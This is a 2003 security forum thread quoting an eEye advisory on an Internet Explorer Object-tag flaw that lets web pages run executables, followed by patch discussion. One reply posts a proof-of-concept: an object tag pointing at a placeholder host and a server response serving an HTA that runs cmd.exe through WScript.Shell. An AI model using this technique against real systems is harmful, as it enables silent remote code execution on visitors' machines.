New Hole In M$ IE

Printable View

August 21st, 2003, 04:26 PM
NullDevice

New Hole In M$ IE

Quote:

Release Date:
August 20, 2003

Severity:

High (Remote Code Execution)

Systems Affected:

Microsoft Internet Explorer 5.01

Microsoft Internet Explorer 5.5

Microsoft Internet Explorer 6.0

Microsoft Internet Explorer 6.0 for Windows Server 2003

Description:

eEye Digital Security has discovered a security vulnerability in Microsoft's Internet Explorer that would allow executable code to run automatically upon rendering malicious HTML.

This is a flaw in Microsoft's primary contribution to HTML, the Object tag, which is used to embed basically all ActiveX into HTML pages. The parameter that specifies the remote location of data for objects is not checked to validate the nature of the file being loaded, and therefore trojan executables may be run from within a webpage as silently and as easily as Internet Explorer parses image files or any other "safe" HTML content.

This attack may be utilized wherever IE parses HTML, including websites, email, newsgroups, and within applications utilizing web-browsing functionality.

Note:

On Windows 2003 Internet Explorer, this vulnerability is noted as being "moderate" rather than "critical." This is because of Windows 2003's "Enhanced Security Configuration Mode", in which Microsoft sets the "Disable ActiveX" option in Internet Explorer's Security Properties by default. Windows 2003 Internet Explorer also disables by default: Visual Basic Script, Javascript, input forms, and the ability to download files.

Due to the popularity and prevalence of ActiveX on the Internet, users running Windows 2003 "Enhanced Security Configuration" Mode may have chosen to reactivate the ability to view active content. These users should be aware that they are at critical risk for this vulnerability and should apply the necessary patch.

As a final note, Microsoft attributes credit to eEye for this vulnerability, but incorrectly refers to it as the "Object Type" bug. The "Object Type" bug is in fact eEye's previously discovered object tag vulnerability. That issue involved a stack-based overflow in the "Type" property, and this current issue involves incorrect handling of the data specified by the "Data" tag.

Source Here : http://www.zone-h.org/en/advisories/read/id=2913/

M$ Patch Here : Microsoft was notified and has released a patch for this vulnerability. The patch is available at: http://www.microsoft.com/technet/sec...n/MS03-032.asp
August 21st, 2003, 07:06 PM
tampabay420

don't forget the fun stuff ;)

Code:

Technical Description: --------------Client HTTP request--------------------------- <html> ... <object data="www.yourinternethost.com/yourexploitwebpageorcgi.html"> </object> </html> ------------------------------------------------------------ -------------Server HTTP Response--------------------------- HTTP/1.1 200 OK Date: Tue, 13 May 2003 18:06:43 GMT Server: Apache Content-Type: application/hta Content-Length: 191 <html> <object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object> <script> wsh.Run("cmD.exe /k echO so loNg, and ThaNks For all yoUr EmplOyeeS"); </script> </html> ------------------------------------------------------------
August 21st, 2003, 07:39 PM
NullDevice

that would have made my post much long....but this part is available in the link i have given...

nJoy
August 21st, 2003, 08:05 PM
Cyanosis

Actually, M$ just released a patch for XP home systems that should target that vulnerability. I havent installed it on my system yet because well, we all know how irreputibly reliable M$ patches are.
August 21st, 2003, 08:30 PM
gore

This is another reason why I havnt put my Windows box online in about a month now. Maybe after they release enough patches to actually fix this I will actually use it online. Between MSBlast and holes that would be enough to make a decent golf course I havnt put the XP box online in a while. The only box Iv had online is This one which is Slackware, and a few days ago was Free BSD. youd think Microsoft would fix these or at least start making golf courses, a thing people actually want holes in.
August 21st, 2003, 08:59 PM
waverebel

<rant> I noticed this show up as an update this morning I think. I wouldn't mind so much if IE wasn't tied into other programs that I use like MSN Mesenger, why can't they use the default browser, long live Mozilla! </rant>